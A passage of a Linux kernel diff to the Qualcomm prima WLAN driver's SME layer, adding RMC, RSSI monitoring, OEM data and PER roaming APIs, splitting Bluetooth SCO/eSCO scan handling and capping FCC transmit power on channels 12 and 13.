KERNEL_VERSION(3,18,0)) - const tSirMacAddr peerMac + const tSirMacAddr peerMac #else tSirMacAddr peerMac #endif diff --git a/drivers/staging/prima/CORE/SME/inc/smeInternal.h b/drivers/staging/prima/CORE/SME/inc/smeInternal.h index 53b2c0daea70e..3280a92dc2adb 100644 --- a/drivers/staging/prima/CORE/SME/inc/smeInternal.h +++ b/drivers/staging/prima/CORE/SME/inc/smeInternal.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2011-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -119,6 +119,19 @@ typedef enum eSmeState #define SME_IS_START(pMac) (SME_STATE_STOP != (pMac)->sme.state) #define SME_IS_READY(pMac) (SME_STATE_READY == (pMac)->sme.state) +#ifdef WLAN_FEATURE_RMC + +/* HDD Callback function */ +typedef void(*pIbssPeerInfoCb)(void *pUserData, void *infoParam); + +/* Peer info */ +typedef struct tagSmePeerInfoHddCbkInfo +{ + void *pUserData; + pIbssPeerInfoCb peerInfoCbk; +}tSmePeerInfoHddCbkInfo; +#endif /* WLAN_FEATURE_RMC */ + /* HDD Callback function */ typedef void(*pEncryptMsgRSPCb)(void *pUserData, void *infoParam); @@ -147,6 +160,9 @@ typedef struct tagSmeStruct tDblLinkList smeScanCmdPendingList; //active scan command list tDblLinkList smeScanCmdActiveList; +#ifdef WLAN_FEATURE_RMC + tSmePeerInfoHddCbkInfo peerInfoParams; +#endif /* WLAN_FEATURE_RMC */ #ifdef FEATURE_WLAN_CH_AVOID void (*pChAvoidNotificationCb) (void *pAdapter, void *indParam); #endif /* FEATURE_WLAN_CH_AVOID */ @@ -166,6 +182,11 @@ typedef struct tagSmeStruct tSmeEncMsgHddCbkInfo pEncMsgInfoParams; void (*pBtCoexTDLSNotification) (void *pAdapter, int); void (*nanCallback) (void*, tSirNanEvent*); + void (*rssiThresholdBreachedCb)(void *, struct rssi_breach_event *); +#ifdef FEATURE_OEM_DATA_SUPPORT + void (*pOemDataIndCb) (void *, const tANI_U16, void *, tANI_U32); + void *pOemDataCallbackContext; +#endif /* FEATURE_OEM_DATA_SUPPORT */ } tSmeStruct, *tpSmeStruct; diff --git a/drivers/staging/prima/CORE/SME/inc/sme_Api.h b/drivers/staging/prima/CORE/SME/inc/sme_Api.h index 61592072e79d2..842f9981495fc 100644 --- a/drivers/staging/prima/CORE/SME/inc/sme_Api.h +++ b/drivers/staging/prima/CORE/SME/inc/sme_Api.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -57,7 +57,9 @@ #include "btcApi.h" #include "vos_nvitem.h" #include "p2p_Api.h" +#ifdef WLAN_FEATURE_RMC #include "smeInternal.h" +#endif #ifdef FEATURE_OEM_DATA_SUPPORT #include "oemDataApi.h" @@ -78,6 +80,7 @@ #define SME_GLOBAL_CLASSC_STATS 8 #define SME_GLOBAL_CLASSD_STATS 16 #define SME_PER_STA_STATS 32 +#define SME_PER_PKT_STATS 64 #define SME_INVALID_COUNTRY_CODE "XX" @@ -87,6 +90,56 @@ //Macro to indicate invalid no of tspecs #define INVALID_TSPEC 100 +#define SME_SET_CHANNEL_REG_POWER(reg_info_1, val) do { \ + reg_info_1 &= 0xff00ffff; \ + reg_info_1 |= ((val & 0xff) << 16); \ +} while(0) + +#define SME_SET_CHANNEL_MAX_TX_POWER(reg_info_2, val) do { \ + reg_info_2 &= 0xffff00ff; \ + reg_info_2 |= ((val & 0xff) << 8); \ +} while(0) + +/** + * ALLOWED_ACTION_FRAMES_BITMAP + * + * Bitmask is based on the below.The frames with 0's + * set to their corresponding bit can be dropped in FW. + * + * -----------------------------+-----+-------+ + * Type | Bit | Allow | + * -----------------------------+-----+-------+ + * SIR_MAC_ACTION_SPECTRUM_MGMT 0 1 + * SIR_MAC_ACTION_QOS_MGMT 1 1 + * SIR_MAC_ACTION_DLP 2 0 + * SIR_MAC_ACTION_BLKACK 3 1 + * SIR_MAC_ACTION_PUBLIC_USAGE 4 1 + * SIR_MAC_ACTION_RRM 5 1 + * SIR_MAC_ACTION_FAST_BSS_TRNST 6 0 + * SIR_MAC_ACTION_HT 7 0 + * SIR_MAC_ACTION_SA_QUERY 8 1 + * SIR_MAC_ACTION_PROT_DUAL_PUB 9 0 + * SIR_MAC_ACTION_WNM 10 1 + * SIR_MAC_ACTION_UNPROT_WNM 11 0 + * SIR_MAC_ACTION_TDLS 12 0 + * SIR_MAC_ACITON_MESH 13 0 + * SIR_MAC_ACTION_MHF 14 0 + * SIR_MAC_SELF_PROTECTED 15 0 + * SIR_MAC_ACTION_WME 17 1 + * SIR_MAC_ACTION_FST 18 0 + * SIR_MAC_ACTION_VHT 21 1 + * ----------------------------+------+-------+ + */ +#define ALLOWED_ACTION_FRAMES_BITMAP \ + ((1 << SIR_MAC_ACTION_SPECTRUM_MGMT) | \ + (1 << SIR_MAC_ACTION_QOS_MGMT) | \ + (1 << SIR_MAC_ACTION_BLKACK) | \ + (1 << SIR_MAC_ACTION_PUBLIC_USAGE) | \ + (1 << SIR_MAC_ACTION_RRM) | \ + (1 << SIR_MAC_ACTION_SA_QUERY) | \ + (1 << SIR_MAC_ACTION_WNM) | \ + (1 << SIR_MAC_ACTION_WME) | \ + (1 << SIR_MAC_ACTION_VHT)) /*-------------------------------------------------------------------------- Type declarations ------------------------------------------------------------------------*/ @@ -240,26 +293,26 @@ eHalStatus sme_SetBssHotlist (tHalHandle hHal, eHalStatus sme_ResetBssHotlist (tHalHandle hHal, tSirEXTScanResetBssidHotlistReqParams *pResetReq); -/* --------------------------------------------------------------------------- - \fn sme_SetSignificantChange - \brief SME API to set significant change - \param hHal - \param pSetSignificantChangeReq: Extented Scan set significant - change structure - \- return eHalStatus - -------------------------------------------------------------------------*/ -eHalStatus sme_SetSignificantChange (tHalHandle hHal, - tSirEXTScanSetSignificantChangeReqParams* pSetSignificantChangeReq); +/** + * sme_set_ssid_hotlist() - Set the SSID hotlist + * @hal: SME handle + * @request: set ssid hotlist request + * + * Return: eHalStatus + */ +eHalStatus sme_set_ssid_hotlist(tHalHandle hal, + tSirEXTScanSetSsidHotListReqParams *request); /* --------------------------------------------------------------------------- - \fn sme_ResetSignificantChange - \brief SME API to reset significant change + \fn sme_ResetBssHotlist + \brief SME API to reset BSSID hotlist \param hHal - \param pResetReq: Extented Scan reset significant change structure + \param pSetHotListReq: Extented Scan set hotlist structure \- return eHalStatus -------------------------------------------------------------------------*/ -eHalStatus sme_ResetSignificantChange (tHalHandle hHal, - tSirEXTScanResetSignificantChangeReqParams *pResetReq); +eHalStatus sme_reset_ssid_hotlist (tHalHandle hHal, + tSirEXTScanResetSsidHotlistReqParams *pResetReq); + /* --------------------------------------------------------------------------- \fn sme_getCachedResults @@ -282,6 +335,13 @@ eHalStatus sme_EXTScanRegisterCallback (tHalHandle hHal, void *); #endif /* WLAN_FEATURE_EXTSCAN */ + +#ifdef FEATURE_OEM_DATA_SUPPORT +eHalStatus sme_OemDataRegisterCallback (tHalHandle hHal, + void (*pOemDataIndCb)(void *, const tANI_U16, void *, tANI_U32), + void *callbackContext); +#endif + /* --------------------------------------------------------------------------- \fn sme_SpoofMacAddrReq \brief SME API to send Spoof Mac Addr req to HAL @@ -451,23 +511,10 @@ void sme_SetCurrDeviceMode (tHalHandle hHal, tVOS_CON_MODE currDeviceMode); --------------------------------------------------------------------------*/ eHalStatus sme_CloseSession(tHalHandle hHal, tANI_U8 sessionId, + tANI_BOOLEAN fSync, tANI_U8 bPurgeSmeCmdList, csrRoamSessionCloseCallback callback, void *pContext); -/*-------------------------------------------------------------------------- - - \brief sme_PurgeCmdList() - Purge all the sme cmd list - - This is a synchronous API. - - - \param hHal - The handle returned by macOpen. - - \param sessionId - A previous opened session's ID. - ---------------------------------------------------------------------------*/ - -eHalStatus sme_PurgeCmdList(tHalHandle hHal, tANI_U8 sessionId); /*-------------------------------------------------------------------------- @@ -824,6 +871,13 @@ eHalStatus sme_RoamDisconnect(tHalHandle hHal, tANI_U8 sessionId, eCsrRoamDiscon void sme_abortConnection(tHalHandle hHal, tANI_U8 sessionId); +/* --------------------------------------------------------------------------- + \fn.sme_dhcp_done_ind + \brief a wrapper function to set dhcp done ind in sme session + \retun void. +---------------------------------------------------------------------------*/ +void sme_dhcp_done_ind(tHalHandle hal, uint8_t session_id); + /* --------------------------------------------------------------------------- \fn sme_RoamStopBss \brief a wrapper function to request CSR to stop bss @@ -1828,6 +1882,40 @@ eHalStatus sme_GenericChangeCountryCode( tHalHandle hHal, tANI_U8 *pCountry, v_REGDOMAIN_t reg_domain); +#ifdef WLAN_FEATURE_RMC +/* --------------------------------------------------------------------------- + + \fn sme_TXFailMonitorStartStopInd + + \brief Indicate FW about TX Fail Monitor Indication` + + \param hHal - The handle returned by macOpen. + + \param tx_fail_count number of failures after which the firmware sends + an indication to host + + \param txFailIndCallback function to be called after receiving TX Fail + indication + \return eHalStatus SUCCESS. + + FAILURE or RESOURCES The API finished and failed. + + -------------------------------------------------------------------------------*/ +eHalStatus sme_TXFailMonitorStartStopInd(tHalHandle hHal, + tANI_U8 tx_fail_count, + void * txFailIndCallback); +#endif /* WLAN_FEATURE_RMC */ + +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +VOS_STATUS sme_set_per_roam_rxconfig (tHalHandle hHal, v_U8_t sessionId, + v_U16_t minRate, v_U16_t maxRate, v_U8_t minPercentage, + v_U16_t minPktRequired, v_U64_t waitPeriodForNextPERScan); + +VOS_STATUS sme_unset_per_roam_rxconfig (tHalHandle hHal); + +void sme_PERRoamScanStartStop(void *hHal, tANI_U8 start); +#endif + /* --------------------------------------------------------------------------- \fn sme_DHCPStartInd @@ -2069,6 +2157,14 @@ eHalStatus sme_OemDataReq(tHalHandle hHal, eHalStatus sme_getOemDataRsp(tHalHandle hHal, tOemDataRsp **pOemDataRsp); +/* --------------------------------------------------------------------------- + \fn sme_OemDataReqNew + \brief a wrapper function for OEM DATA REQ NEW + \param pOemDataReqNewConfig - Data to be passed to FW + ---------------------------------------------------------------------------*/ +void sme_OemDataReqNew(tHalHandle hHal, + tOemDataReqNewConfig *pOemDataReqNewConfig); + #endif /*FEATURE_OEM_DATA_SUPPORT*/ @@ -2219,6 +2315,48 @@ eHalStatus sme_GetFramesLog(tHalHandle hHal, tANI_U8 flag); eHalStatus sme_InitMgmtFrameLogging( tHalHandle hHal, tpSirFWLoggingInitParam wlanFWLoggingInitParam); + +/* --------------------------------------------------------------------------- + + \fn sme_StopRssiMonitoring + + \brief + SME will pass this request to lower mac to stop monitoring rssi range on + a bssid. + + \param + + hHal - The handle returned by macOpen. + + tSirRssiMonitorReq req- depict the monitor req params. + + \return eHalStatus + +--------------------------------------------------------------------------- */ +eHalStatus sme_StopRssiMonitoring(tHalHandle hHal, + tSirRssiMonitorReq *req); + +/* --------------------------------------------------------------------------- + + \fn sme_StartRssiMonitoring + + \brief + SME will pass this request to lower mac to start monitoring rssi range on + a bssid. + + \param + + hHal - The handle returned by macOpen. + + tSirRssiMonitorReq req- depict the monitor req params. + + \return eHalStatus + +--------------------------------------------------------------------------- */ +eHalStatus sme_StartRssiMonitoring(tHalHandle hHal, + tSirRssiMonitorReq *req); + + /* --------------------------------------------------------------------------- \fn sme_ConfigureRxpFilter @@ -3217,6 +3355,8 @@ tANI_BOOLEAN sme_getIsFtFeatureEnabled(tHalHandle hHal); eHalStatus sme_UpdateRoamScanOffloadEnabled(tHalHandle hHal, v_BOOL_t nRoamScanOffloadEnabled); #endif +eHalStatus sme_FwMemDumpReq(tHalHandle hHal, tAniFwrDumpReq *recv_req); + /* --------------------------------------------------------------------------- \fn sme_IsFeatureSupportedByFW @@ -3518,6 +3658,28 @@ eHalStatus sme_DelPeriodicTxPtrn(tHalHandle hHal, tSirDelPeriodicTxPtrn void sme_enable_disable_split_scan (tHalHandle hHal, tANI_U8 nNumStaChan, tANI_U8 nNumP2PChan); +#ifdef WLAN_FEATURE_RMC +/* --------------------------------------------------------------------------- + \fn sme_EnableRMC + \brief Used to enable RMC + setting will not persist over reboots + \param hHal + \param sessionId + \- return eHalStatus + -------------------------------------------------------------------------*/ +eHalStatus sme_EnableRMC(tHalHandle hHal, tANI_U32 sessionId); + +/* --------------------------------------------------------------------------- + \fn sme_DisableRMC + \brief Used to disable RMC + setting will not persist over reboots + \param hHal + \param sessionId + \- return eHalStatus + -------------------------------------------------------------------------*/ +eHalStatus sme_DisableRMC(tHalHandle hHal, tANI_U32 sessionId); +#endif /* WLAN_FEATURE_RMC */ + /* --------------------------------------------------------------------------- \fn sme_SendRateUpdateInd \brief API to Update rate @@ -3527,6 +3689,21 @@ void sme_enable_disable_split_scan (tHalHandle hHal, tANI_U8 nNumStaChan, ---------------------------------------------------------------------------*/ eHalStatus sme_SendRateUpdateInd(tHalHandle hHal, tSirRateUpdateInd *rateUpdateParams); +#ifdef WLAN_FEATURE_RMC +/* --------------------------------------------------------------------------- + \fn sme_GetIBSSPeerInfo + \brief Used to disable RMC + setting will not persist over reboots + \param hHal + \param ibssPeerInfoReq multicast Group IP address + \- return eHalStatus + -------------------------------------------------------------------------*/ +eHalStatus sme_RequestIBSSPeerInfo(tHalHandle hHal, void *pUserData, + pIbssPeerInfoCb peerInfoCbk, + tANI_BOOLEAN allPeerInfoReqd, + tANI_U8 staIdx); +#endif /* WLAN_FEATURE_RMC */ + /* * sme API to trigger fast BSS roam to a given BSSID independent of RSSI * triggers @@ -3658,6 +3835,9 @@ eHalStatus sme_SetHT2040Mode(tHalHandle hHal, tANI_U8 sessionId, tANI_U8 cbMode); #endif +eHalStatus sme_set_rssi_threshold_breached_cb(tHalHandle hal, + void (*cb)(void *, struct rssi_breach_event *)); + void sme_disable_dfs_channel(tHalHandle hHal, bool disable_dfs); /* HDD Callback function */ @@ -3747,13 +3927,37 @@ eHalStatus sme_SetTdls2040BSSCoexistence(tHalHandle hHal, tANI_S32 isEnabled); eHalStatus sme_SetRtsCtsHtVht(tHalHandle hHal, tANI_U32 set_value); tANI_BOOLEAN sme_handleSetFccChannel(tHalHandle hHal, - tANI_U8 fcc_constraint); + tANI_U8 fcc_constraint, + v_U32_t scan_pending); eHalStatus sme_DeleteAllTDLSPeers(tHalHandle hHal, uint8_t sessionId); eHalStatus sme_fatal_event_logs_req(tHalHandle hHal, tANI_U32 is_fatal, - tANI_U32 indicator, tANI_U32 reason_code); + tANI_U32 indicator, tANI_U32 reason_code, + tANI_BOOLEAN dump_vos_trace); eHalStatus sme_enableDisableChanAvoidIndEvent(tHalHandle hHal, tANI_U8 set_value); +/* --------------------------------------------------------------------------- + \fn sme_set_wificonfig_params + \brief API to set WifiConfiguration Parameters. + + \param wifi_config_param - Wificonfig parameter 1.Averaging factor 2. Guard time + \- return VOS_STATUS_SUCCES if INdication is posted to + WDA else return eHAL_STATUS_FAILURE + -------------------------------------------------------------------------*/ + +eHalStatus sme_set_wificonfig_params(tHalHandle hHal, tSetWifiConfigParams *req); +eHalStatus sme_getRegInfo(tHalHandle hHal, tANI_U8 chanId, + tANI_U32 *regInfo1, tANI_U32 *regInfo2); +eHalStatus sme_GetCurrentAntennaIndex(tHalHandle hHal, + tCsrAntennaIndexCallback callback, + void *pContext, tANI_U8 sessionId); + +eHalStatus sme_setBcnMissPenaltyCount(tHalHandle hHal, + tModifyRoamParamsReqParams *params); +eHalStatus sme_remove_bssid_from_scan_list(tHalHandle hal, + tSirMacAddr bssid); +void sme_set_mgmt_frm_via_wq5(tHalHandle hHal, + tANI_BOOLEAN sendMgmtPktViaWQ5); #endif //#if !defined( __SME_API_H ) diff --git a/drivers/staging/prima/CORE/SME/inc/sme_Trace.h b/drivers/staging/prima/CORE/SME/inc/sme_Trace.h index abb49e5b5c9d2..9967cacb260f0 100644 --- a/drivers/staging/prima/CORE/SME/inc/sme_Trace.h +++ b/drivers/staging/prima/CORE/SME/inc/sme_Trace.h @@ -41,16 +41,9 @@ #include "macTrace.h" #define NO_SESSION 0xFF + enum { - TRACE_CODE_SME_COMMAND, - TRACE_CODE_SME_TX_WDA_MSG, - TRACE_CODE_SME_RX_WDA_MSG, -}; -enum { - /* Starts enums from 3 onwards, because unknown code captures for first - * three enums in smeTraceDump() - */ - TRACE_CODE_SME_RX_HDD_MSG_SCAN_REQ = 3, + TRACE_CODE_SME_RX_HDD_MSG_SCAN_REQ, TRACE_CODE_SME_RX_HDD_MSG_SCAN_GET_RESULTS, TRACE_CODE_SME_RX_HDD_MSG_CONNECT, TRACE_CODE_SME_RX_HDD_MSG_SET_11DINFO, @@ -69,7 +62,6 @@ enum { TRACE_CODE_SME_RX_HDD_ROAM_GET_CONNECTPROFILE, TRACE_CODE_SME_RX_HDD_ROAM_FREE_CONNECTPROFILE, TRACE_CODE_SME_RX_HDD_ROAM_SET_PMKIDCACHE, - TRACE_CODE_SME_RX_HDD_ROAM_DEL_PMKIDCACHE, TRACE_CODE_SME_RX_HDD_GET_CONFIGPARAM, TRACE_CODE_SME_RX_HDD_GET_MODPROFFIELDS, TRACE_CODE_SME_RX_HDD_SET_CONFIG_PWRSAVE, @@ -133,14 +125,13 @@ enum { TRACE_CODE_SME_RX_HDD_UPDATE_FTENABLED, TRACE_CODE_SME_RX_HDD_UPDATE_WESMODE, TRACE_CODE_SME_RX_HDD_SET_SCANCTRL, - TRACE_CODE_SME_RX_HDD_EXTSCAN_GET_CAPABILITIES, TRACE_CODE_SME_RX_HDD_EXTSCAN_START, TRACE_CODE_SME_RX_HDD_EXTSCAN_STOP, TRACE_CODE_SME_RX_HDD_EXTSCAN_SET_BSS_HOTLIST, TRACE_CODE_SME_RX_HDD_EXTSCAN_RESET_BSS_HOTLIST, - TRACE_CODE_SME_RX_HDD_EXTSCAN_SET_SIGNF_CHANGE, - TRACE_CODE_SME_RX_HDD_EXTSCAN_RESET_SIGNF_CHANGE, TRACE_CODE_SME_RX_HDD_EXTSCAN_GET_CACHED_RESULTS, + TRACE_CODE_SME_RX_HDD_EXTSCAN_SET_SSID_HOTLIST, + TRACE_CODE_SME_RX_HDD_EXTSCAN_RESET_SSID_HOTLIST, TRACE_CODE_SME_RX_HDD_MSG_DEAUTH_STA, #ifdef FEATURE_WLAN_TDLS TRACE_CODE_SME_RX_HDD_TDLS_LINK_ESTABLISH_PARAM, @@ -154,7 +145,14 @@ enum { #ifdef FEATURE_WLAN_LPHB TRACE_CODE_SME_RX_HDD_LPHB_CONFIG_REQ, #endif /* FEATURE_WLAN_LPHB */ + TRACE_CODE_SME_RX_HDD_ROAM_DEL_PMKIDCACHE, + /* New trace commands to be added before this comment not at the end */ + /* Trace codes for SME commands */ + TRACE_CODE_SME_COMMAND = 250, + TRACE_CODE_SME_TX_WDA_MSG, + TRACE_CODE_SME_RX_WDA_MSG, }; void smeTraceInit(tpAniSirGlobal pMac); +void sme_register_debug_callback(void); #endif //__SME_TRACE_H__ diff --git a/drivers/staging/prima/CORE/SME/inc/smsDebug.h b/drivers/staging/prima/CORE/SME/inc/smsDebug.h index ec5ae58af8df5..85d495b12c163 100644 --- a/drivers/staging/prima/CORE/SME/inc/smsDebug.h +++ b/drivers/staging/prima/CORE/SME/inc/smsDebug.h @@ -45,10 +45,15 @@ #define __printf(a,b) #endif +#ifdef WLAN_DEBUG void __printf(3,4) smsLog(tpAniSirGlobal pMac, tANI_U32 loglevel, const char *pString, ...); void __printf(3,4) pmcLog(tpAniSirGlobal pMac, tANI_U32 loglevel, const char *pString, ...); +#else +#define smsLog(arg...) +#define pmcLog(arg...) +#endif #endif // __SMS_DEBUG_H__ diff --git a/drivers/staging/prima/CORE/SME/src/btc/btcApi.c b/drivers/staging/prima/CORE/SME/src/btc/btcApi.c index 4e1e9ea34a83b..cc529179c78d2 100644 --- a/drivers/staging/prima/CORE/SME/src/btc/btcApi.c +++ b/drivers/staging/prima/CORE/SME/src/btc/btcApi.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -96,7 +96,8 @@ VOS_STATUS btcOpen (tHalHandle hHal) pMac->btc.btcReady = VOS_FALSE; pMac->btc.btcEventState = 0; pMac->btc.btcHBActive = VOS_TRUE; - pMac->btc.btcScanCompromise = VOS_FALSE; + pMac->btc.btc_scan_compromise_esco = false; + pMac->btc.btc_scan_compromise_sco = false; for (i = 0; i < MWS_COEX_MAX_VICTIM_TABLE; i++) { @@ -1988,13 +1989,21 @@ eHalStatus btcHandleCoexInd(tHalHandle hHal, void* pMsg) } else if (pSmeCoexInd->coexIndType == SIR_COEX_IND_TYPE_SCAN_COMPROMISED) { - pMac->btc.btcScanCompromise = VOS_TRUE; - smsLog(pMac, LOGW, "Coex indication in %s(), type - SIR_COEX_IND_TYPE_SCAN_COMPROMISED", - __func__); + smsLog(pMac, LOGW, + FL("Coex indication SIR_COEX_IND_TYPE_SCAN_COMPROMISED data[0] %d"), + pSmeCoexInd->coexIndData[0]); + + /* coexIndData[0] will be 1 for SCO call and 0 for eSCO call */ + if (pSmeCoexInd->coexIndData[0]) + pMac->btc.btc_scan_compromise_sco = true; + else + pMac->btc.btc_scan_compromise_esco = true; + } else if (pSmeCoexInd->coexIndType == SIR_COEX_IND_TYPE_SCAN_NOT_COMPROMISED) { - pMac->btc.btcScanCompromise = VOS_FALSE; + pMac->btc.btc_scan_compromise_esco = false; + pMac->btc.btc_scan_compromise_sco = false; smsLog(pMac, LOGW, "Coex indication in %s(), type - SIR_COEX_IND_TYPE_SCAN_NOT_COMPROMISED", __func__); } diff --git a/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c b/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c index fc8456de151e3..6b36c8a73fddd 100644 --- a/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c +++ b/drivers/staging/prima/CORE/SME/src/csr/csrApiRoam.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -80,8 +80,10 @@ #define CSR_NUM_IBSS_START_CHANNELS_24 3 #define CSR_DEF_IBSS_START_CHANNEL_50 36 #define CSR_DEF_IBSS_START_CHANNEL_24 1 -#define CSR_WAIT_FOR_KEY_TIMEOUT_PERIOD ( 5 * PAL_TIMER_TO_SEC_UNIT ) // 5 seconds, for WPA, WPA2, CCKM -#define CSR_WAIT_FOR_WPS_KEY_TIMEOUT_PERIOD ( 120 * PAL_TIMER_TO_SEC_UNIT ) // 120 seconds, for WPS +/* 15 seconds, for WPA, WPA2, CCKM */ +#define CSR_WAIT_FOR_KEY_TIMEOUT_PERIOD (15 * PAL_TIMER_TO_SEC_UNIT) +/* 120 seconds, for WPS */ +#define CSR_WAIT_FOR_WPS_KEY_TIMEOUT_PERIOD (120 * PAL_TIMER_TO_SEC_UNIT) /*--------------------------------------------------------------------------- OBIWAN recommends [8 10]% : pick 9% ---------------------------------------------------------------------------*/ @@ -108,6 +110,9 @@ static tANI_BOOLEAN bRoamScanOffloadStarted = VOS_FALSE; #endif +#define MAX_PWR_FCC_CHAN_12 8 +#define MAX_PWR_FCC_CHAN_13 2 + /*-------------------------------------------------------------------------- Static Type declarations ------------------------------------------------------------------------*/ @@ -599,6 +604,22 @@ eHalStatus csrUpdateChannelList(tpAniSirGlobal pMac) pChanList->chanParam[num_channel].pwr = cfgGetRegulatoryMaxTransmitPower(pMac, pScan->defaultPowerTable[i].chanId); + if (pMac->scan.fcc_constraint) + { + if (pChanList->chanParam[num_channel].chanId == 12) + { + pChanList->chanParam[num_channel].pwr = MAX_PWR_FCC_CHAN_12; + smsLog(pMac, LOG1, + "fcc_constraint is set, txpower for channel 12 is 8db "); + } + if (pChanList->chanParam[num_channel].chanId == 13) + { + pChanList->chanParam[num_channel].pwr = MAX_PWR_FCC_CHAN_13; + smsLog(pMac, LOG1, + "fcc_constraint is set, txpower for channel 13 is 2db "); + } + } + if (!pChanList->chanParam[num_channel].pwr) { smsLog(pMac, LOGE, FL("Power level is zero for channel %d " @@ -802,7 +823,7 @@ eHalStatus csrRoamOpen(tpAniSirGlobal pMac) { eHalStatus status = eHAL_STATUS_SUCCESS; tANI_U32 i; - tCsrRoamSession *pSession; + tCsrRoamSession *pSession = NULL; do { for( i = 0; i < CSR_ROAM_SESSION_MAX; i++ ) @@ -1047,6 +1068,33 @@ void csrReleaseCommandRemoveKey(tpAniSirGlobal pMac, tSmeCmd *pCommand) csrReinitRemoveKeyCmd(pMac, pCommand); csrReleaseCommand( pMac, pCommand ); } + +/** + * csr_is_disconnect_full_power_cmd() - Check if command is for + * disconnect or for fullpower + * @command: command to check + * + * Return: true if disconnect or full power command else false + */ +bool csr_is_disconnect_full_power_cmd(tSmeCmd *command) +{ + switch (command->command) { + case eSmeCommandRoam: + if (CSR_IS_DISCONNECT_COMMAND(command)) + return true; + break; + case eSmeCommandWmStatusChange: + case eSmeCommandExitImps: + case eSmeCommandExitBmps: + case eSmeCommandExitUapsd: + case eSmeCommandExitWowl: + return true; + default: + return false; + } + return false; +} + void csrAbortCommand( tpAniSirGlobal pMac, tSmeCmd *pCommand, tANI_BOOLEAN fStopping ) { @@ -1182,8 +1230,14 @@ static void initConfigParam(tpAniSirGlobal pMac) pMac->roam.configParam.nActiveMinChnTime = CSR_ACTIVE_MIN_CHANNEL_TIME; pMac->roam.configParam.nPassiveMaxChnTime = CSR_PASSIVE_MAX_CHANNEL_TIME; pMac->roam.configParam.nPassiveMinChnTime = CSR_PASSIVE_MIN_CHANNEL_TIME; - pMac->roam.configParam.nActiveMaxChnTimeBtc = CSR_ACTIVE_MAX_CHANNEL_TIME_BTC; - pMac->roam.configParam.nActiveMinChnTimeBtc = CSR_ACTIVE_MIN_CHANNEL_TIME_BTC; + pMac->roam.configParam.max_chntime_btc_esco = + CSR_ACTIVE_MAX_CHANNEL_TIME_ESCO_BTC; + pMac->roam.configParam.min_chntime_btc_esco = + CSR_ACTIVE_MIN_CHANNEL_TIME_ESCO_BTC; + pMac->roam.configParam.min_chntime_btc_sco = + CSR_ACTIVE_MIN_CHANNEL_TIME_SCO_BTC; + pMac->roam.configParam.max_chntime_btc_sco= + CSR_ACTIVE_MAX_CHANNEL_TIME_SCO_BTC; pMac->roam.configParam.disableAggWithBtc = eANI_BOOLEAN_TRUE; #ifdef WLAN_AP_STA_CONCURRENCY pMac->roam.configParam.nActiveMaxChnTimeConc = CSR_ACTIVE_MAX_CHANNEL_TIME_CONC; @@ -1751,14 +1805,22 @@ eHalStatus csrChangeDefaultConfigParam(tpAniSirGlobal pMac, tCsrConfigParam *pPa cfgSetInt(pMac, WNI_CFG_OBSS_HT40_SCAN_WIDTH_TRIGGER_INTERVAL, pParam->nOBSSScanWidthTriggerInterval); } - if (pParam->nActiveMaxChnTimeBtc) + if (pParam->max_chntime_btc_esco) { - pMac->roam.configParam.nActiveMaxChnTimeBtc = pParam->nActiveMaxChnTimeBtc; + pMac->roam.configParam.max_chntime_btc_esco = + pParam->max_chntime_btc_esco; } - if (pParam->nActiveMinChnTimeBtc) + if (pParam->min_chntime_btc_esco) { - pMac->roam.configParam.nActiveMinChnTimeBtc = pParam->nActiveMinChnTimeBtc; + pMac->roam.configParam.min_chntime_btc_esco = + pParam->min_chntime_btc_esco; } + if (pParam->min_chntime_btc_sco) + pMac->roam.configParam.min_chntime_btc_sco = + pParam->min_chntime_btc_sco; + if (pParam->max_chntime_btc_sco) + pMac->roam.configParam.max_chntime_btc_sco = + pParam->max_chntime_btc_sco; #ifdef WLAN_AP_STA_CONCURRENCY if (pParam->nActiveMaxChnTimeConc) { @@ -1886,8 +1948,23 @@ eHalStatus csrChangeDefaultConfigParam(tpAniSirGlobal pMac, tCsrConfigParam *pPa pMac->roam.configParam.nRoamScanHomeAwayTime = pParam->nRoamScanHomeAwayTime; #endif #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD - pMac->roam.configParam.isRoamOffloadScanEnabled = pParam->isRoamOffloadScanEnabled; - pMac->roam.configParam.bFastRoamInConIniFeatureEnabled = pParam->bFastRoamInConIniFeatureEnabled; + pMac->roam.configParam.isRoamOffloadScanEnabled = + pParam->isRoamOffloadScanEnabled; + pMac->roam.configParam.bFastRoamInConIniFeatureEnabled = + pParam->bFastRoamInConIniFeatureEnabled; + pMac->roam.configParam.isPERRoamEnabled = + pParam->isPERRoamEnabled; + pMac->roam.configParam.rateUpThreshold = pParam->rateUpThreshold; + pMac->roam.configParam.rateDownThreshold = pParam->rateDownThreshold; + pMac->roam.configParam.waitPeriodForNextPERScan = + pParam->waitPeriodForNextPERScan; + pMac->roam.configParam.PERtimerThreshold = pParam->PERtimerThreshold; + pMac->roam.configParam.isPERRoamCCAEnabled = + pParam->isPERRoamCCAEnabled; + pMac->roam.configParam.PERRoamFullScanThreshold = + pParam->PERRoamFullScanThreshold; + pMac->roam.configParam.PERroamTriggerPercent = + pParam->PERroamTriggerPercent; #endif #ifdef FEATURE_WLAN_LFR pMac->roam.configParam.isFastRoamIniFeatureEnabled = pParam->isFastRoamIniFeatureEnabled; @@ -1955,6 +2032,8 @@ eHalStatus csrChangeDefaultConfigParam(tpAniSirGlobal pMac, tCsrConfigParam *pPa pMac->roam.configParam.ignorePeerHTopMode = pParam->ignorePeerHTopMode; pMac->roam.configParam.disableP2PMacSpoofing = pParam->disableP2PMacSpoofing; + 